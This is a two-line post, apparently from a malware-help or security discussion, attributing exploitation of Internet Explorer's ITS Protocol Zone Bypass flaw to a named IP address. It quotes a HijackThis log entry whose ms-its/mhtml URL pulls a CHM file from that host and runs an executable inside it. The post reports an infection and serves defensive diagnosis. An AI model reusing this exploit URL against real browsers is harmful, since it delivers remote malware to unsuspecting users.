66.98.244.107 seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {10003000-1000-0000-1000-000000000000} - ms-its:mhtml:file://C:\MAIN.MHT!http://66.98.244.107/it/chm//online.chm::/iexplore.exe
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